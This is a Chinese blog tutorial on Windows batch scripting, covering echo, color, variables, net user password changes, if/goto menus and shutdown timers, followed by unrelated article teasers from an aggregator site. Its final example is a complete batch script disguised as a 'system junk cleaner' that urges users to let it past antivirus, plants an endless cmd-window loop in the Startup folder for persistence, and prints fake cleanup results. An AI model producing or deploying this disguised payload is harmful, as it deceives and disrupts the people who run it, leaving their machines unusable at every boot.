批处理理解

news/2024/12/22 15:44:53 标签: 网络安全

初识批处理

  • 如何批处理:

       命名:.bat

       方法:创建一个记事本文件,然后将其扩展改为.bat

  • 批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。
  • 运行环境:当然是我们cmd

回归我学过的任何一门语言都是从一个简单的**程序开始的,批处理也同样如此

一个简单的批处理程序

1、引入

  1. d:
  2. cd\
  3. cd temp
  4. del ,/s/q

 我们把几条dos命令汇聚在一起,这就进入了批处理的范畴


2echo 输出

@echo off       
color 0a           
title 飞哥小程序v1.0 
  
echo ==========================
echo               菜单
echo         1、修改管理员密码
echo         2、定时关机
echo         3、退出本程序
echo ===========================

pause

看不懂?先不急,我们先来看一下运行效果:

                                

@echo  off        #关闭回显

color  0a           #设置窗口显示颜色
  1. color:
  2. 指定控制台输出的颜色属性                                      
  3. 颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为文字颜色。
  4. 每个数字可以为以下任何值之一:                           
  5. 0 = 黑色        8 = 灰色                                                                      
  6. 1 = 蓝色        9 = 淡蓝色                                 
  7. 2 = 绿色        A = 淡绿色                                 
  8. 3 = 湖蓝色      B = 淡浅绿色                               
  9. 4 = 红色        C = 淡红色                                 
  10. 5 = 紫色        D = 淡紫色                                 
  11. 6 = 黄色        E = 淡黄色                                 
  12. 7 = 白色        F = 亮白色                                                            
  13. 例如: "cilor fc" 亮白色背景,淡红色文字颜色。                         

 title                     #设置程序名

例如:title 飞哥小程序v1.0 

pause                #暂停屏幕(没有这条语句,我们是看不到上图的显示效果的,程序只会一闪而过)


3、变量

@echo off       
color 0a           
title 飞哥小程序v1.0 
  
echo ==========================
echo               菜单
echo         1、修改管理员密码
echo         2、定时关机
echo         3、退出本程序
echo ===========================

set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p%   >nul


pause

 同样我们先来看下效果:                              

 set /p u= ( 字符串       #获取输入的字符,将其赋值给变量u

 %u%              #提取变量u的值

 net user 用户名 密码      #修改账户密码(windows所有平台支持)

 >nul       #清除一条命令执行后系统反馈

 再来看一下效果:

 后面的命令成功完成就不见了!


4ifgoto

@echo off        
color 0a            
title 飞哥小程序v1.0    

:menu
cls
echo ==========================
echo               菜单
echo         1、修改管理员密码
echo         2、定时关机
echo         3、退出本程序
echo ===========================

set /p num=您的选择是:  
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 被闹,好好输!
pause
goto menu

:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p%   >nul
echo 您的密码已经设置成功!
pause
goto menu

:2
set /p time=请输入时间:
shutdown -s -t %time% 
set /p x=是否取消(1:是,0:否):
if "%x%"=="1" shutdown -a
goto menu
pause

:3
exit

分区块

menu

"menu"区块

:1

“1”区块

:2

“2”区块

:3

"3"区块

goto 区块名              #程序跳该区块

例如:goto menu      #程序跳至“menu区块

if "%num%"=="1" 命令1       #如果条件成立,执行命令1;条件不成立,跳过命令1,向下走

 cls                       #清屏 

 shutdown -s -t 100     #定时关机

  1. 常用shutdown命令:
  2. shutdown -a          #取消关机  
  3. shutdown -s          #关机
  4. shutdown -f         #强行关闭应用程序
  5. shutdown -l         #注销当前用户
  6. shutdown -r         #关机并重启
  7. shutdown -s -t 时间 #定时关机
  8. shutdown -h          #休眠
  9. 更多的 cmd:
  10. shutdown ?  
  11. 查看

 好了,通过我们以上所学的命令,这样一个简单的批处理程序就写完了。


5、简单的批处理文件一

功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口

@echo off
title 系统垃圾清理
color 2f
echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】========
echo.
echo.
echo :start>c:\windows\windows.bat
echo start cmd>>c:\windows\windows.bat
echo goto start>>c:\windows\windows.bat
copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\" >nul
if %errorlevel%==0 goto next
copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
if %errorlevel%==1 goto error
:next
echo.
echo.
echo   ====== 垃圾清理中,请不要关闭窗口======
echo.
ping -n 5 127.0.0.1 >nul
echo.
echo   ====== 垃圾清理完毕,共清理垃圾500M===
echo.
echo.
echo   ====== 建议立即重启电脑
pause
goto ex

:error
echo.
echo.
echo   ====== 程序运行失败,请使用【管理员权限】重新运行!======
echo.
pause
goto ex

:ex
exit
echo.           #输出一个空


http://www.niftyadmin.cn/n/5795493.html

相关文章

使用 JDBC 实现 Java 数据库操作

目录 一、JDBC 简介 二、JDBC 环境准备 1. 添加 JDBC 驱动 2. 创建数据库 三、JDBC 编程步骤 1. 加载数据库驱动 2. 获取数据库连接 3. 创建 Statement 对象并执行 SQL 4. 使用 PreparedStatement 防止 SQL 注入 5. 事务管理 6. 异常处理和关闭资源 四、完整示例 J…

DB-GPT V0.6.3 版本更新:支持 SiliconCloud 模型、新增知识处理工作流等

DB-GPT V0.6.3版本现已上线,快速预览新特性: 新特性 1. 支持 SiliconCloud 模型,让用户体验多模型的管理能力 如何使用: 修改环境变量文件.env,配置SiliconCloud模型 # 使用 SiliconCloud 的代理模型 LLM_MODELsiliconflow_p…

15、基于SpringBoot的在线视频教育平台的设计与实现

随着科学技术的飞速发展,各行各业都在努力与现代先进技术接轨,通过科技手段提高自身的优势;对于在线视频教育平台当然也不能排除在外,随着网络技术的不断成熟,带动了在线视频教育平台,它彻底改变了过去传统…

【Mysql优化】SQL优化最佳实践分析与总结

文章目录 SQL优化最佳实践分析与总结1.2.1. 避免使用 SELECT \*1.2.2. 小表驱动大表1.2.3. 用连接查询代替子查询1.2.4. 提升 GROUP BY 的效率1.2.5. 批量操作1.2.6. 使用 LIMIT 优化查询 总结 SQL优化最佳实践分析与总结 SQL查询性能的优化是数据库设计与使用中的核心问题之一…

远程医疗:科技助力健康触手可及

随着信息技术与医疗领域的深度融合,远程医疗正逐步改变着人们获取医疗服务的方式。它跨越地理距离的障碍,将优质的医疗资源延伸到更广泛的区域。 对于患者来说,远程医疗极大地便利了就医过程。一些患有慢性疾病需要定期复诊的患者&#xff0c…

奇怪问题| Chrome 访问csdn 创作中心的时候报错: 服务超时,请稍后重试

Chrome 访问csdn 创作中心的时候报错: 服务超时,请稍后重试用无痕浏览器可以正常访问 关闭代理无效清缓存和Cookies无效。考虑无痕浏览器模式下插件不生效,尝试把chrome 插件也禁用,发现有效,是该扩展程序的缘故

Next.js v15- Metadata

概念 在 Web 开发中&#xff0c;Metadata提供有关网页的其他详细信息。元数据对访问页面的用户不可见。相反&#xff0c;它在幕后工作&#xff0c;嵌入到页面的 HTML 中&#xff0c;通常在<head>元素中。这些隐藏信息对于需要更好地了解您网页内容的搜索引擎和其他系统至…

我的2024年度总结

称着这个周末&#xff0c;写一篇2024年度总结&#xff0c;主要记录我过去一年的成长经历以及自己的一些收获。 过去一年的经历&#xff0c;可谓刻骨铭心&#xff0c;一个是24考研惨败&#xff0c;一个是毕设的准备&#xff0c;一个是省考的陪考&#xff0c;一个是找工作的焦虑…